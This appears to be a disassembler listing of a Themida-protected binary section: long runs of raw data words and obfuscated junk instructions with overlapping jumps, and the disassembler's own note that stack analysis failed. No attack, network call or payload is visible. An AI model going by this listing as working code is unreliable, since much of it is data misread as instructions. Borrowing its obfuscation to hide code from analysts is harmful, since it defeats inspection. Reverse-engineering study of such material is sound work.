dd 0FE90Fh, 10490000h, 0AE72C8ABh, 1F5C18F9h, 0BEE0C6D2h
dd 8B575281h, 0E95F5BDEh, 0Fh, 0F595621Bh, 3A79F363h, 0B8D2514Bh
dd 0F5BDF9CDh, 0EE9h, 243BE900h, 9A350C25h, 72215CBAh
dd 0F588A4Dh, 382h, 0D6BF0F00h, 8B6624B2h, 7E8C3h, 0E3BE0000h
dd 1071CDA0h, 0F08B66E3h, 53F5605Ah, 8F0Fh, 615A0000h
dd 0DE9h, 1176C400h, 0CD433B4Eh, 640AD6E2h, 8166E0A2h
dd 661260F3h, 660C10BBh, 8849DA81h, 66F78B66h, 0D081DE8Bh
dd 2AFC6319h, 18F0Fh, 80F90000h, 0C28B26C8h, 7490D981h
dd 0CC804C34h, 8E8F9h, 0A2CD0000h, 8087022Fh, 0B8BFB1D2h
dd 5B1D25DAh, 0FD78B66h, 18Dh, 0CB8BF900h, 2ED68166h, 8A0F608Dh
dd 3, 8080CA80h, 0F6108D9h, 8B66C2BFh, 0B96660C8h, 0CBA43C2h
dd 614D76F0h, 0D38B6660h, 14E960h, 89050000h, 828D5252h
dd 0EFBF5DFBh, 5885250Fh, 204E7B3h, 0FE8FC3Eh, 4000000h
dd 0CF5DCBC7h, 61A25769h, 0F44F30E1h, 615AB7A9h, 78BA6661h
dd 0F1BF0F12h, 0C16EBE66h, 28B0Fh, 0BEB60000h, 0E9F28B66h
dd 0Ah, 90E28FFFh, 2D7474FDh, 880F613Fh, 3, 0F560C780h
dd 19840Fh, 6E80000h, 0D9000000h, 0E1CF4535h, 7E896h, 935B0000h
dd 549C066Ch, 0E95E5E66h, 0Dh, 7F480798h, 1451B5CBh, 2183D7E2h
dd 80C18B4Fh, 0F38114D8h, 199A0F51h, 0FE960h, 3E6D0000h
dd 977456B5h, 0F33D422Ch, 282A5613h, 0E961F89Dh, 5, 0A276A784h
dd 0E081664Ah, 0CE9F684h, 4E000000h, 70E7DF51h, 0B69EE33Ch
dd 0E980B1E2h, 0Ch, 6D7F9AE8h, 1E559D01h, 26D4BA62h, 0DE8CA8Bh
dd 2E000000h, 0B9BE4840h, 0A558E777h, 5E098BEAh, 4897D981h
dd 665F00D8h, 5E9C28Bh, 7E000000h, 1D5E76Ah, 3D59BB66h
dd 0F5DBBF0Fh, 0C88166F8h, 0FF98FEFh, 181h, 8F0FFC00h
dd 0
; ---------------------------------------------------------------------------
mov cx, 7BE0h
sbb cl, 76h
jle $+6
xor di, 0DF96h
mov edi, 5A675D7Fh ; CODE XREF: Themida_:005CD2B8j
mov ecx, 589CC619h
mov bx, cx
clc
jmp loc_5CD28E
; ---------------------------------------------------------------------------
adc dword ptr [eax+5EAE91B4h], 0FFFFFFFCh
jmp short loc_5CD2B7
; ---------------------------------------------------------------------------
dw 0A59Ch
db 26h, 77h
; ---------------------------------------------------------------------------
loc_5CD28E: ; CODE XREF: Themida_:005CD27Cj
mov dl, 91h
push eax
movzx esi, si
pop edx
mov edx, eax
pusha
jmp loc_5CD2A4
; ---------------------------------------------------------------------------
pop ds
sub [eax-1BBC3B9Dh], bh
loc_5CD2A4: ; CODE XREF: Themida_:005CD298j
mov ecx, ebx
popa
push edx
call sub_5CD2BC
mov dh, 66h
jmp near ptr 37F010Eh
; ---------------------------------------------------------------------------
db 0CDh, 22h, 60h
; ---------------------------------------------------------------------------
loc_5CD2B7: ; CODE XREF: Themida_:005CD288j
stosd
js short near ptr loc_5CD26E+1
pusha
; ---------------------------------------------------------------------------
db 0C4h
; =============== S U B R O U T I N E =======================================
sub_5CD2BC proc near ; CODE XREF: Themida_:005CD2A8p
mov ax, 0DF10h
pop ebx
pop eax
and edx, 43CB3596h
jmp loc_5CD2DB
; ---------------------------------------------------------------------------
db 56h, 0B0h, 0DCh
dd 0D8085B61h, 1A37A58Fh
db 95h, 0DDh, 7Ah
; ---------------------------------------------------------------------------
loc_5CD2DB: ; CODE XREF: sub_5CD2BC+Cj
mov ebx, edi
mov edx, 46800D2Dh
jnb $+6
loc_5CD2E8: ; CODE XREF: sub_5CD2BC+41j
or edx, 56645105h
call near ptr loc_5CD2FD+1
pop ebp
lodsb
xchg eax, ebx
out dx, eax
xchg eax, ebx
mov al, ds:2298ED1Dh
loc_5CD2FD: ; CODE XREF: sub_5CD2BC+32p
jge short loc_5CD2E8
sub_5CD2BC endp ; sp-analysis failed
adc [eax], al
; ---------------------------------------------------------------------------
db 2 dup(0), 17h
; ---------------------------------------------------------------------------
jl short loc_5CD329
xchg eax, ebx
xchg eax, esp
add es:[eax], ch
mov bl, 0B7h
cdq
mov edx, 0E215F8D9h
pop ecx
mov dx, 0E436h
mov di, ax
jno near ptr loc_5CD32F+1
jmp near ptr loc_5CD32F+1
; ---------------------------------------------------------------------------
dw 0AC42h
db 8Eh
; ---------------------------------------------------------------------------
loc_5CD329: ; CODE XREF: Themida_:005CD304j
inc edi
aaa
dec esp
push esi
jge short loc_5CD387
loc_5CD32F: ; CODE XREF: Themida_:005CD31Bj
; Themida_:005CD321j
cmp esp, [esi-7Fh]
; ---------------------------------------------------------------------------
dw 0FCDFh
; ---------------------------------------------------------------------------
aad 0F5h
jmp loc_5CD344
; ---------------------------------------------------------------------------
db 0A6h
dd 0D8C07CC6h, 8D970B57h
; ---------------------------------------------------------------------------
loc_5CD344: ; CODE XREF: Themida_:005CD336j
jno $+6
mov cx, 0CEB3h
pusha
pusha
or ax, 0F522h
popa
popa
stc
jmp loc_5CD362
; ---------------------------------------------------------------------------
sbb eax, 7D2298EDh
loc_5CD362: ; CODE XREF: Themida_:005CD358j
pusha
call loc_5CD378
out dx, al
; ---------------------------------------------------------------------------
db 8Fh, 5Bh, 0EEh
dd 91FCEC5Fh, 9CDC5D86h, 442A1A4Ah
; ---------------------------------------------------------------------------
loc_5CD378: ; CODE XREF: Themida_:005CD363p
and di, 3166h
pop edi
mov eax, 29CE2D0Ch
popa
; ---------------------------------------------------------------------------
db 66h, 0BAh, 71h
; ---------------------------------------------------------------------------
loc_5CD387: ; CODE XREF: Themida_:005CD32Dj
ror dword ptr [edi], 1
pop dword ptr ds:0B8000000h
popf
xchg eax, esp
ja short near ptr loc_5CD39D+2
sub ecx, 15152D7Fh
pusha
add ah, 0DBh
loc_5CD39D: ; CODE XREF: Themida_:005CD391j
jg loc_5CD3A5
mov edi, ecx
loc_5CD3A5: ; CODE XREF: Themida_:loc_5CD39Dj
popa
push eax
call near ptr loc_5CD3B3+2
fsubr dword ptr [ebx+2Bh]
pop ss
pushf
mov bh, 58h
loc_5CD3B3: ; CODE XREF: Themida_:005CD3A7p
adc eax, 840F42h
; ---------------------------------------------------------------------------
dd 5A000000h, 0CF81665Fh, 0BF0FB0CDh, 0BF0FFCF6h, 0FD98AC7h
dd 1D81h, 11E800h, 10E90000h, 39F60E0Bh, 2D1742CEh, 25D44F10h
dd 0F0B463Ch, 8Ch, 8E85B00h, 0C7000000h, 0B0775C70h, 0E8798CB7h
dd 13h, 0C81AE002h, 2713922Bh, 58B2FD6Eh, 0E7D22686h, 8B08940Dh
dd 0BA5E59D7h, 5CB6DDC9h, 66F3B70Fh, 0E8652CB8h, 11h, 8F744E00h
dd 89AB2F01h, 4FAC5988h, 0FD01CD30h, 0BFB9663Bh, 0EE85B14h
dd 9D000000h, 0C7076D7Dh, 7F10FDD4h, 0FC3526C3h, 58CE8A08h
dd 0BBBB6653h, 0CA805803h, 0DF8B6626h, 0B0F28B66h, 0CABF0F66h
dd 0B5C08166h, 16BA6613h, 0F1B70FB4h, 60D18B66h, 0D63FC6B9h
dd 0BE86101h, 0D8000000h, 1A1CCDADh, 0B4662B4Ch, 0C180CB9Fh
dd 800F5B9Dh, 3, 60D2B70Fh, 5FCCB751h, 8E8h, 0B296F200h
dd 3959DFA3h, 0F6BB661Fh, 6061580Eh, 6870Fh, 8F0F0000h
dd 0
dd 8D0F61F8h, 1Fh, 870F60h, 0E8000000h, 11h, 9FA65F28h
dd 74C8ED8Dh, 0E7D5C551h, 0DD975B86h, 66615E74h, 8BD97FBAh
dd 0B966F3h, 0A307BF0Dh, 0D6806483h, 14E9A8h, 9BEE0000h
dd 0E067F604h, 0F573D509h, 7F17D451h, 0D3F585C0h, 816692BEh
dd 0F9E067CEh, 0ABC2EF81h, 8D0F3B37h, 9, 3890Fh, 8B660000h
dd 0CE9C7h, 0A6420000h, 3F66E4C4h, 4057C720h, 8166701Bh
dd 0E9D939C8h, 7, 4C75C79Eh, 8163320Ch, 5B084C0h, 13E945h
dd 245D0000h, 471BC5D7h, 6DD9893Ah, 720457ABh, 9C82F492h
dd 0E9C78B30h, 9, 1780B235h, 0F50F3F9Bh, 0C1B70FD5h, 0C28BC18Ah
dd 0BEC7BF0Fh, 698D8EEFh, 0F601B966h, 860Fh, 0D1810000h
dd 3FDC6F02h, 0A860FF9h, 0E9000000h, 5, 0CAC985FCh, 58A0F53h
dd 66000000h, 1093D381h, 0CE9h, 0F5CB3F00h, 36F20339h
dd 94970C1Fh, 0D7BF0F2Ah, 6E8h, 0F255D900h, 5677C908h
dd 3E83B966h, 0F38B595Bh, 804509BBh, 0C3816678h, 0F9FC979Ah
dd 81C78B66h, 2F43ACF3h, 1BC6B862h, 0B70F0D32h, 3880FC6h
dd 66000000h, 2ABAC88Bh, 0E91D9216h, 8, 295B701Ch, 0FBF2E6B3h
dd 0BEDABF0Fh, 5833153Ch, 0A0DDB866h, 28D0Fh, 0F78B0000h
dd 6C38160h, 0E877E0D2h, 6, 0CD433B4Eh, 0CA8BD6E2h, 0F48A615Eh
dd 18F0Fh, 0BFF80000h, 5244CAB2h, 0DA7EBB66h, 0F08BF960h
dd 0B8BF6661h, 8B666028h, 6E9FAh, 58330000h, 0B43060A1h
dd 9A31BE61h, 8B666AF0h, 12E9CBh, 0E1540000h, 0A6FA1CADh
dd 0DF87174Ch, 0BF86D39Dh, 7906435Eh, 0FE88EB0h, 0A2000000h
dd 38D97A06h, 0B55ED9C8h, 8AA6A076h, 830F8CE3h, 18h, 12E8h
dd 18324B00h, 3065116Fh, 0B7700883h, 3C44E0CCh, 59789077h
dd 0B2C18B5Bh, 13E9BBh, 0B9CC0000h, 3BAEA485h, 5E1E9963h
dd 591EDECh, 4E90DDDBh, 28C0FC4h, 8A000000h, 0C38B66FCh
dd 168A0Fh, 11E90000h, 7000000h, 7C3AEDCh, 57C3FECDh, 8AE9764Ch
dd 0FD6DC3DCh, 13E9h, 81CC8600h, 0D0D59418h, 0BA154011h
dd 0CB49A7ADh, 0F12DFE8Fh, 6E876B0h, 9C000000h, 3002CEF9h
dd 870F6026h, 0
dd 5E615E50h, 8E8h, 77318200h, 0D9C197EFh, 2840FB5h, 60000000h
dd 0F3815961h, 6DE1A7FBh, 8166F18Bh, 664AE2C3h, 427CCE81h
dd 885EBF66h, 32BB6651h, 81F55E44h, 0BF5841E2h, 0C2816610h
dd 0CE9ADA1h, 0CD000000h, 7C3AC00Eh, 275044F4h, 0E8992BC5h
dd 13h, 162CFF0h, 20A6A684h, 806E4064h, 8F8E04F3h, 0E9E428FBh
dd 9, 8A0AD42Eh, 4E432BFh, 0DC805F29h, 0C0DE8043h, 0AEF4CA81h
dd 0B70F425Dh, 66C58AC0h, 64DA81h, 0E081F960h, 5B8267Fh
dd 0F515061h, 5E58D0BFh, 66F1B70Fh, 0E9AC7FB9h, 11h, 0F7ACA12Ch
dd 288310D1h, 8B917B3Ch, 1FBFCD4Eh, 0E981F81Fh, 3D55729Dh
dd 86B956FCh, 5966215Dh, 5360CA8Bh, 4B2881B9h, 0F615F5Ch
dd 188Dh, 13E900h, 582B0000h, 0D21AE229h, 0AB938873h, 0DBDEA94Dh
dd 0B37C077Ch, 0EE8FC6Bh, 0EA000000h, 2E8A1347h, 0FAFC3FD2h
dd 852CB086h, 0DB8160B9h, 70717545h, 5961D98Bh, 3CF38166h
dd 0E98166DCh, 6E8EF6Bh, 24000000h, 0C6A106BBh, 5E875h
dd 0D5760000h, 8A28D94Ah, 805E59CFh, 0B9668BD8h, 0BE66B722h
dd 81663C5Dh, 819F79D7h, 819DCEC2h, 0F31B376h, 1688h, 108C0F00h
dd 0E8000000h, 0Ah, 13FA1377h, 65CBCFCFh, 0B35AAE12h, 28D0F27h
dd 8B000000h, 13E9C8h, 42300000h, 71BFDF99h, 0F25C7D72h
dd 163E5C69h, 0DBEF8B80h, 0CF81667Fh, 8D0F248Dh, 1Ah, 0EE8h
dd 0AF291F00h, 191426F0h, 0D5FD63FFh, 811B2B0Fh, 0BBCD1ACBh
dd 47B05F3Bh, 0FE3EC981h, 0F88B28ABh, 0BE9h, 0A4CF4200h
dd 6B8A3E68h, 0B5876DFDh, 0E3C180F5h, 816640B6h, 0B9065FC8h
dd 293F3FB0h, 0FFBF0F60h, 0DCD88166h, 8F0F61AFh, 1Dh, 14E8h
dd 8ED8D100h, 7625B61Bh, 0EB645950h, 30DC495h, 372D5C66h
dd 0F98B6612h, 1EBF665Eh, 76C781ECh, 66075BE3h, 807191BFh
dd 0F6B901CBh, 6679DCB5h, 7CECD681h, 0EDC88166h, 9E960ECh
dd 5A000000h, 0DA047F3Bh, 0D6F77B6Ah, 0A0DEF281h, 0E9615E9Bh
dd 0Dh, 0B81B0864h, 0D057171Ch, 0DED452E3h, 14E818h, 0FFB00000h
dd 6D382470h, 224C83D4h, 20C07429h, 0BA69B8FEh, 0BA665989h
dd 805A1028h, 0F181A0CCh, 50DDB11Dh, 6E9h, 49579600h, 0B4B9399Bh
dd 3860F71h, 80000000h, 0C68116CBh, 75CF3F91h, 3BD78166h
dd 89BE60BCh, 0F82288A6h, 0F8D18061h, 6854F281h, 0BE849E7h
dd 0A1000000h, 7C00BAF6h, 68206FAh, 0EE9955Ah, 24000000h
dd 4C4B8793h, 9856C18Ah, 0AF595D85h, 0DF8B5EE0h, 66CE8B66h
dd 800FCA8Bh, 0
; ---------------------------------------------------------------------------
mov ax, cx
jz loc_5CDA1A
mov ecx, 5383D3EEh
loc_5CDA1A: ; CODE XREF: Themida_:005CDA0Fj
mov dl, al
movsx edx, bx
or edi, 777EAE1Bh
jg loc_5CDA44
jmp loc_5CDA44
; ---------------------------------------------------------------------------
dd 0A8931748h, 847119BEh, 678E8C96h, 1C83A408h, 0E8A88DF0h
; ---------------------------------------------------------------------------
loc_5CDA44: ; CODE XREF: Themida_:005CDA25j
; Themida_:005CDA2Bj
mov esi, ecx
and eax, 48F712CBh
mov esi, 404A8837h
mov edx, esi
jmp loc_5CDA60
; ---------------------------------------------------------------------------
inc ebx
lds edi, [edi-5B912339h]
cdq
loc_5CDA60: ; CODE XREF: Themida_:005CDA53j
jl loc_5CDA71
jno loc_5CDA71
mov ecx, 35B4EC8Dh
loc_5CDA71: ; CODE XREF: Themida_:loc_5CDA60j
; Themida_:005CDA66j
mov si, bx
call near ptr loc_5CDA82+1
xlat
sub al, 82h
movsb
mov ebp, 8C981707h
loc_5CDA82: ; CODE XREF: Themida_:005CDA74p
enter 8E9h, 0
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
xchg eax, edx
jmp short loc_5CDAF6
; ---------------------------------------------------------------------------
cmp al, 0ACh
shr byte ptr [eax], 73h
pop eax
push eax
pusha
and ecx, 492D562Bh
sbb di, 7763h
popa
pop esi
add dh, 5
mov dl, 3Fh
sub di, 1875h
xor di, 7E58h
mov bx, si
cmc
jmp loc_5CDACC
; ---------------------------------------------------------------------------
dd 0B5D9C197h, 0CF5F8797h, 5E5B1FDBh, 0CF122C87h, 0F4731E74h
; ---------------------------------------------------------------------------
loc_5CDACC: ; CODE XREF: Themida_:005CDAB3j
mov ax, di
jz loc_5CDADA
add cx, 0F935h
loc_5CDADA: ; CODE XREF: Themida_:005CDACFj
mov si, di
mov bx, cx
mov al, 0B5h
mov cx, 0ACE7h
cld
and cx, 734h
jmp loc_5CDAF8
; ---------------------------------------------------------------------------
align 2
dw 329Dh
db 0Ah, 0B8h
; ---------------------------------------------------------------------------
loc_5CDAF6: ; CODE XREF: Themida_:005CDA89j
push ebp
dec ebx
loc_5CDAF8: ; CODE XREF: Themida_:005CDAECj
mov edx, eax
mov bx, 66Eh
sub ebx, 12623AB5h
call near ptr loc_5CDB14+1
add bh, [edi+384D287Ah]
sbb al, 97h
db 64h
cdq
cdq
loc_5CDB14: ; CODE XREF: Themida_:005CDB04p
test [esi-7Fh], ah
iret
; ---------------------------------------------------------------------------
xor al, bh
pop edi
movsx esi, di
pusha
jmp loc_5CDB37
; ---------------------------------------------------------------------------
dd 37E4836Ch, 0DEFF5EC3h, 6D770F51h, 7D7AE2C9h
db 14h, 0AEh, 2Bh
; ---------------------------------------------------------------------------
loc_5CDB37: ; CODE XREF: Themida_:005CDB1Fj
cmc
popa
add di, 0E27h
mov dl, ah
mov edi, 5758AA82h
movzx esi, si
jmp loc_5CDB55
; ---------------------------------------------------------------------------
db 9Bh, 4Bh, 90h
dd 0D9A21FECh
db 0D0h
; ---------------------------------------------------------------------------
loc_5CDB55: ; CODE XREF: Themida_:005CDB48j
push eax
mov cl, 92h
pop ebx
add cx, 272Ah
jmp loc_5CDB6F
; ---------------------------------------------------------------------------
db 5Ah
dd 8567415Ch, 0BE197502h
; ---------------------------------------------------------------------------
cwde
pop ebp
push cs
loc_5CDB6F: ; CODE XREF: Themida_:005CDB5Ej
or eax, 60D1CB4Ah
pusha
call near ptr loc_5CDB89+1
mov ch, 8Ah
sar ah, 1
xchg eax, ebp
scasd
sub al, 0FAh
loc_5CDB83: ; CODE XREF: Themida_:loc_5CDB89j
push esi
loc_5CDB84: ; CODE XREF: Themida_:005CDB87j
adc esi, 29h
loopne loc_5CDB84
loc_5CDB89: ; CODE XREF: Themida_:005CDB76p
jnp short loc_5CDB83
pop esi
mov eax, 7419B0F5h
popa
call sub_5CDBAA
test eax, 0D051F969h
fld qword ptr [edi]
test edx, 0E242DBB4h
lds edi, [eax]
movsb
mov bl, 0F3h
dec ecx
; =============== S U B R O U T I N E =======================================
sub_5CDBAA proc near ; CODE XREF: Themida_:005CDB92p
jz loc_5CDBB1
clc
loc_5CDBB1: ; CODE XREF: sub_5CDBAAj
pop edi
xor dx, 0DDA0h
or cx, 0B72h
jle loc_5CDBC8
and edi, 5DB1C526h
loc_5CDBC8: ; CODE XREF: sub_5CDBAA+12j
; Themida_:005CDC24j
adc ecx, 4A135B7Fh
mov di, dx
mov di, cx
jmp loc_5CDBDF
; ---------------------------------------------------------------------------
db 0C0h, 0E7h, 8Bh
db 54h, 87h, 0B2h
; ---------------------------------------------------------------------------
loc_5CDBDF: ; CODE XREF: sub_5CDBAA+2Aj
push edx
sub bx, 8837h
pop edi
mov di, 0E6FCh
jno loc_5CDBF8
jbe loc_5CDBF8
push esi
pop esi
loc_5CDBF8: ; CODE XREF: sub_5CDBAA+40j
; sub_5CDBAA+46j
movzx ecx, si
movzx edx, si
call near ptr loc_5CDC08+1 ; CODE XREF: Themida_:005CDC20j
popa
out 40h, al ; Timer 8253-5 (AT: 8254.2).
rcl byte ptr [edx], 1
loc_5CDC08: ; CODE XREF: sub_5CDBAA+54p
sub esp, [esi-75h]
sub_5CDBAA endp ; sp-analysis failed
cli
pop esi
mov ah, 0C2h
push eax
pop esi
mov bl, dl
pusha
call loc_5CDC29
rcl cl, 2Bh
mov ch, 0B1h
icebp
sahf
jz short near ptr loc_5CDBFE+3
loopne loc_5CDC35
jo short near ptr loc_5CDBC8+4
pop edx
mov ch, 4Ah
loc_5CDC29: ; CODE XREF: Themida_:005CDC14p
mov bh, ch
pop eax
jmp near ptr loc_5CDC36+1
; ---------------------------------------------------------------------------
aad 0EBh
test dh, al
loc_5CDC35: ; CODE XREF: Themida_:005CDC22j
movsd
loc_5CDC36: ; CODE XREF: Themida_:005CDC2Cj
xor ah, [ecx+0Fh]
mov cl, [eax+eax]
; ---------------------------------------------------------------------------
dd 7E90000h, 1D000000h, 7E1EB9A7h, 12E90258h, 44000000h
dd 0DDC30CABh, 11EE3548h, 5BD03FD6h, 0A6730C9h, 9E9FCDBh
dd 0A1000000h, 0F15927D4h, 0D83A3B6h, 3F68166h, 5BBB6670h
dd 58C0F53h, 0BE000000h, 69F959B2h, 0C38166F8h, 8166639Ah
dd 66CFFDDFh, 6DEFCA81h, 0BF0F5F57h, 0D3BF0FDBh, 66D88BFCh
dd 0E859E181h, 1CBBD48Ah, 60356FC4h, 61C9BF0Fh, 0CDB3BF66h
dd 48E0Fh, 0BE660000h, 0DE92E91h, 9000000h, 5FBEF60Dh
dd 604AB7Ch, 39AA88E4h, 0F37C680h, 128Bh, 6E800h, 0C8510000h
dd 1BEF4B28h, 9366C281h, 80596FD1h, 0B70FA1E4h, 3C2BB9C8h
dd 6E92188h, 0D5000000h, 66681C5Bh, 0C78157FBh, 423D0680h
dd 0C3B70F5Ah, 2840Fh, 0A2B20000h, 0A8F0Fh, 840F0000h
dd 4, 9FFBF66h, 11E853h, 398F0000h, 9E7A0DC5h, 4C3C8B8Fh
dd 1A456A5h, 57A91476h, 0B6585A5Eh, 0D6816064h, 44F256C4h
dd 8B666061h, 11E8CFh, 0AB9A0000h, 61FF270Ah, 6429B214h
dd 0DC8BEFFBh, 0F963A72h, 82h, 0E9615A00h, 10h, 0C93DD0F1h
dd 7934F992h, 0DF359B45h, 0A1B023Bh, 0FF98B66h, 685h, 0B9665600h
dd 8158D451h, 74EAA3E8h, 7E913h, 0EA20000h, 13164EFh, 3860F79h
dd 66000000h, 0FE9D08Bh, 40000000h, 0A327CEC4h, 574D4182h
dd 90F607A6h, 0C78B5E21h, 0E9C1BF0Fh, 9, 668B892Ch, 4F82D914h
dd 810F36h, 0F000000h, 81h, 7E900h, 70C60000h, 3EE4DC45h
dd 38E0F6Eh, 80000000h, 6056D4E0h, 8E8h, 0D4532A00h, 7EB6C2D9h
dd 616059A0h, 11E85B61h, 52000000h, 0C01D2557h, 0FB94F673h
dd 0BC477DBFh, 0EB8D055Bh, 0BE9BE3BBh, 850F585Fh, 4, 5E616052h
dd 0D9D28166h, 6E9F882h, 0F0000000h, 5AAC4E48h, 0BE913h
dd 3B270000h, 3C35668Ah, 87162FF6h, 0AEC181D4h, 0E9378FD7h
dd 13h, 0D03FD611h, 6730C95Bh, 2C8DB0Ah, 0EF39895Ah, 0BAA99BD9h
dd 3F27C155h, 11E9h, 0A0910E00h, 0E7BC936Bh, 45750647h
dd 3011B0Fh, 0BBBA63FAh, 0E9370DCFh, 0Bh, 0CF555421h, 0AEA7ACF1h
dd 0B8EF4114h, 60B1947Bh, 9E9h, 9C156A00h, 6830044Dh, 0BF0F543Ah
dd 0BBEF8AFFh, 0C998848h, 38B0Fh, 0BF0F0000h, 7783BFC0h
dd 81534D2Eh, 16792C1h, 0F5805A2Ah, 90E98170h, 6604C93Eh
dd 7B42E981h, 11E9h, 0E25BE00h, 977CCBE8h, 61F407C4h, 0ACB84B83h
dd 0EEB83A9Ch, 0BE0B7D13h, 0E6D4EC5h, 0CE9FE8Bh, 4F000000h
dd 0C3D0F7A5h, 0BC8DBC41h, 6674A859h, 0C88BF88Bh, 2800Fh
dd 0CB8A0000h, 810F96B1h, 5, 0FD28166h, 92E58033h, 0D181DF8Bh
dd 63B8FF64h, 0DE91AB5h, 0B1000000h, 88F2D5EEh, 0BD4DF798h
dd 53BDD876h, 11E9h, 0C088CA00h, 4B66F8F4h, 0F6D38DFDh
dd 9C1B5C34h, 0FE9A55Bh, 0DD000000h, 0F6B71A89h, 0E36A92C0h
dd 199199ACh, 0F604252h, 1180h, 0CE900h, 4D6E0000h, 0AEB742AEh
dd 0CC3AB0E4h, 61F5EE15h, 0FE8h, 0ECA37900h, 70EA68C0h
dd 0A6CB3AF9h, 7D91F5B3h, 8A0Fh, 0E95B0000h, 0Ch, 0F47EA222h
dd 4F4DC90Eh, 504BDB2Bh, 8F6912B8h, 0AE819h, 84600000h
dd 0AAE81757h, 0F814F799h, 0BA5AD68Bh, 454B201Ah, 0DE9h
dd 0BF964900h, 844D1CAEh, 3DAC67E2h, 0DE9938Dh, 8E000000h
dd 24CBB0BBh, 32428B75h, 950A4189h, 0BF0FE38Ah, 0BF0F50FFh
dd 8B6658F9h, 0DE8166F3h, 8A0FD980h, 8, 0B9BB6660h, 616160E5h
dd 0FE9h, 1369B300h, 58361564h, 750DCE4Ah, 4DCE5FAh, 0EA8166B2h
dd 4E033758h, 0FE9h, 0DA198900h, 6D8B6E6Dh, 0C9145695h
dd 3D104B1Bh, 990BBBFCh, 870F2841h, 8, 2890Fh, 61600000h
dd 0F53DE380h, 0AE8F5h, 39210000h, 5DBF9B97h, 9C56ED9Bh
dd 5810Fh, 31BE0000h, 5A20F63Eh, 0E0C28160h, 6119C9BCh
dd 0DE9h, 86C0EA00h, 5D959ADEh, 5F817D29h, 0E080EBD9h
dd 9327BA36h, 8B663F80h, 0E08166D9h, 0C180DE2Eh, 0E480F871h
dd 816660D7h, 50E816C1h, 615BF1B4h, 0FFC58B3h, 58Dh, 0E2816600h
dd 8F0F2F63h, 8, 28C0Fh, 0F0B00000h, 0CE9h, 640F4800h
dd 1D911551h, 8290E14h, 0FE8B6626h, 0D850Fh, 8E90000h
dd 74000000h, 47968122h, 0BAF7A54Fh, 5494DEA0h, 11B312BEh
dd 890F560Fh, 2, 0E95B5850h, 6, 0A1DCF065h, 0B70FEDBCh
dd 0E38AF8C9h, 8B66C88Bh, 18E0FF9h, 0F5000000h, 0CE9h
dd 0AF4B6800h, 0BCBED582h, 8ECC4560h, 9421B9A7h, 0BE87F94h
dd 0AC000000h, 54464F12h, 32B1750h, 11E8C564h, 0B2000000h
dd 9B441D41h, 52B5526Ah, 55F054A6h, 0A8A69ED3h, 0F585AF8h
dd 0C84h, 68B0F00h, 0F000000h, 8Bh, 0CE800h, 81A20000h
dd 990B7116h, 1958BBB6h, 0BF0F743Bh, 8B665ED7h, 13E9C2h
dd 43270000h, 9DC93E99h, 8E2ECE2Dh, 38E47611h, 0BE90ADADh
dd 8BF5F9B1h, 816060D8h, 219785EEh, 61E78A46h, 10E861h
dd 0FE220000h, 0EAB0344Ah, 419E3468h, 2EB18851h, 0F8589B8Fh
dd 0AE9F8h, 9BEA0000h, 3F6AA680h, 5A241A04h, 8E9h, 0D29FC500h
dd 91733146h, 5810F53h, 66000000h, 19EBD181h, 0FF3BF0Fh
dd 0BF0FCEBFh, 0FE8CEh, 691C0000h, 881487D6h, 6D3CBAFAh
dd 0D56A54F0h, 0FF56056h, 8Ch, 81586100h, 8FF617E7h, 7E966h
dd 9A970000h, 0D00ADA24h, 0B7FCFC7Ch, 3860FD9h, 80000000h
dd 80F5D5ECh, 0F080FEE8h, 9E823h, 98CB0000h, 3BB810E0h
dd 5BB8AD05h, 5C7EBA66h, 0F48EBB66h, 8B66F560h, 0CA8B61F7h
dd 17840Fh, 12E90000h, 0F000000h, 2E158CB3h, 0E8B8C7EBh
dd 4CC6F6C5h, 472BBB37h, 0BFB5F50Ah, 0C4DF8166h, 0FEB70FFAh
dd 11E8h, 0DF5F5700h, 4A0D1525h, 2499F961h, 5B73FD3h, 0B0B4ECE1h
dd 663DB55Bh, 8E9ED981h, 0ADD78060h, 61F6DC80h, 68F0Fh
dd 820F0000h, 0
dd 0B9F9BF0Fh, 2A0E9138h, 22C08166h, 0A9EE8119h, 501624B1h
dd 0ACBA6650h, 0F5F588Ah, 0E83h, 6E800h, 7DF80000h, 4207F29Ah
dd 665F6160h, 0E94090BFh, 0Ah, 8FB6F5A6h, 0D5233E33h, 8B66B7D5h
dd 0CE9C6h, 0EF340000h, 490A8DEAh, 0B5179A90h, 65B2A885h
dd 0CE9h, 0FA049F00h, 0E3AFD2FEh, 6C201EA3h, 0D18060FDh
dd 9E828h, 0CDBE0000h, 9B0A272Fh, 66D93DE0h, 615AC78Bh
dd 0AAEA8153h, 5E12B5E7h, 0DE953h, 0C15B0000h, 0EF0B0FB5h
dd 9EF48E5Bh, 5A49FA81h, 0BE8h, 3FAADE00h, 3EE7BD44h, 0CBD7FA0Fh
dd 0CA8DB866h, 0F08B535Eh, 8A0FFC58h, 2, 860FF98Ah, 6
dd 417CE281h, 870F4337h, 0Ah, 48D0Fh, 0BB660000h, 8E0FB0FCh
dd 5, 0FCC716B9h, 14E925h, 7CEC0000h, 3E25AEA6h, 66AEA9BDh
dd 0BF0C2751h, 37CE5484h, 0D18B0F7Dh, 0CDBFFA8Ah, 0F05F6C3h
dd 850FCABFh, 0
; ---------------------------------------------------------------------------
call sub_5CE3E9
dec eax
adc edx, [ebp+34h]
jnz short loc_5CE3FA
pop ss
dec esp
mov dh, 10h
mov esi, 45785B31h
xchg eax, esp
; =============== S U B R O U T I N E =======================================
sub_5CE3E9 proc near ; CODE XREF: Themida_:005CE3D4p
pop ebx
jmp loc_5CE3FD
; ---------------------------------------------------------------------------
db 29h
dd 704A52D1h, 40855D99h
db 79h, 0B9h
; ---------------------------------------------------------------------------
loc_5CE3FA: ; CODE XREF: Themida_:005CE3DDj
sub [edx], al
cli
loc_5CE3FD: ; CODE XREF: sub_5CE3E9+1j
mov dx, si
and eax, 9F954B9h
or ecx, 29515DE2h
jmp loc_5CE421
; ---------------------------------------------------------------------------
db 21h, 0F7h, 0ACh
dd 5BCC606Dh, 0AC4F7875h, 0A270ED65h
db 0B4h
; ---------------------------------------------------------------------------
loc_5CE421: ; CODE XREF: sub_5CE3E9+23j
adc ecx, 559292B8h
mov ax, si
add bl, 0ADh
stc
jmp loc_5CE439
; ---------------------------------------------------------------------------
xchg eax, esp
sbb al, 53h
cmpsb
or edx, esp
loc_5CE439: ; CODE XREF: sub_5CE3E9+45j
mov esi, ebx
mov eax, 75F68F5Eh
jmp loc_5CE44B
; ---------------------------------------------------------------------------
db 82h, 0E7h, 3Dh
